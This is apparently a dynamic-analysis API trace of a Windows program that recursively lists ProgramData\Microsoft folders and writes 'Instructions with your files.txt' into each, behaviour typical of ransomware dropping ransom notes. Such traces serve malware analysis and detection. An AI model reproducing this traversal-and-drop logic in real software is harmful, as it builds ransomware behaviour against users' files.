[0120.820] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0120.821] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0120.821] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0120.821] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0120.821] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0120.821] CloseHandle (hObject=0x114) returned 1
[0120.821] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0120.821] GetProcessHeap () returned 0x810000
[0120.821] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x889bf8 | out: hHeap=0x810000) returned 1
[0120.821] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 0
[0120.821] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\Instructions with your files.txt") returned 79
[0120.821] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0120.823] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0120.824] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0120.824] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0120.824] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0120.824] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0120.824] CloseHandle (hObject=0x110) returned 1
[0120.824] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0120.825] GetProcessHeap () returned 0x810000
[0120.825] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0120.825] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 0
[0120.825] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Instructions with your files.txt") returned 74
[0120.825] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\device stage\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0120.825] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0120.826] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0120.826] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0120.826] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0120.826] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0120.826] CloseHandle (hObject=0x10c) returned 1
[0120.826] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0120.826] GetProcessHeap () returned 0x810000
[0120.826] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0120.826] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceSync", cAlternateFileName="DEVICE~2")) returned 1
[0120.826] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\DeviceSync") returned 39
[0120.826] GetProcessHeap () returned 0x810000
[0120.826] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0120.826] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\DeviceSync\\*") returned 41
[0120.826] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\DeviceSync\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0120.828] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\DeviceSync\\.") returned 41
[0120.828] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0120.828] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\DeviceSync\\..") returned 42
[0120.828] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd789d88f, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0120.828] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\DeviceSync\\Instructions with your files.txt") returned 72
[0120.828] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\DeviceSync\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\devicesync\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0120.829] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0120.829] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0120.830] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0120.830] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0120.830] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0120.830] CloseHandle (hObject=0x10c) returned 1
[0120.830] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0120.830] GetProcessHeap () returned 0x810000
[0120.830] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0120.830] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1
[0120.830] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\DRM") returned 32
[0120.830] GetProcessHeap () returned 0x810000
[0120.830] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0120.830] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\*") returned 34
[0120.830] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0120.830] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\.") returned 34
[0120.830] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0120.831] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\..") returned 35
[0120.831] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 1
[0120.831] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\Server") returned 39
[0120.831] GetProcessHeap () returned 0x810000
[0120.831] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0120.831] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\Server\\*") returned 41
[0120.831] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\Server\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0120.831] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\Server\\.") returned 41
[0120.831] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0120.831] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0120.831] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\Server\\..") returned 42
[0120.831] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0120.831] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0120.831] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\Server\\Instructions with your files.txt") returned 72
[0120.831] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\Server\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\drm\\server\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0120.832] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0120.833] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0120.833] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0120.833] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0120.833] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0120.833] CloseHandle (hObject=0x110) returned 1
[0120.833] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0120.833] GetProcessHeap () returned 0x810000
[0120.833] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0120.833] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xba6f6d7d, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 0
[0120.833] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\Instructions with your files.txt") returned 65
[0120.833] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\DRM\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\drm\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0120.833] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0120.834] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0120.834] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0120.834] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0120.835] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0120.835] CloseHandle (hObject=0x10c) returned 1
[0120.835] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0120.835] GetProcessHeap () returned 0x810000
[0120.835] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0120.835] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eHome", cAlternateFileName="")) returned 1
[0120.835] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\eHome") returned 34
[0120.835] GetProcessHeap () returned 0x810000
[0120.835] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0120.835] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\eHome\\*") returned 36
[0120.835] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\eHome\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0120.835] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\eHome\\.") returned 36
[0120.835] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0120.835] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\eHome\\..") returned 37
[0120.835] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 1
[0120.835] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\eHome\\logs") returned 39
[0120.835] GetProcessHeap () returned 0x810000
[0120.835] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x878be8
[0120.835] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\eHome\\logs\\*") returned 41
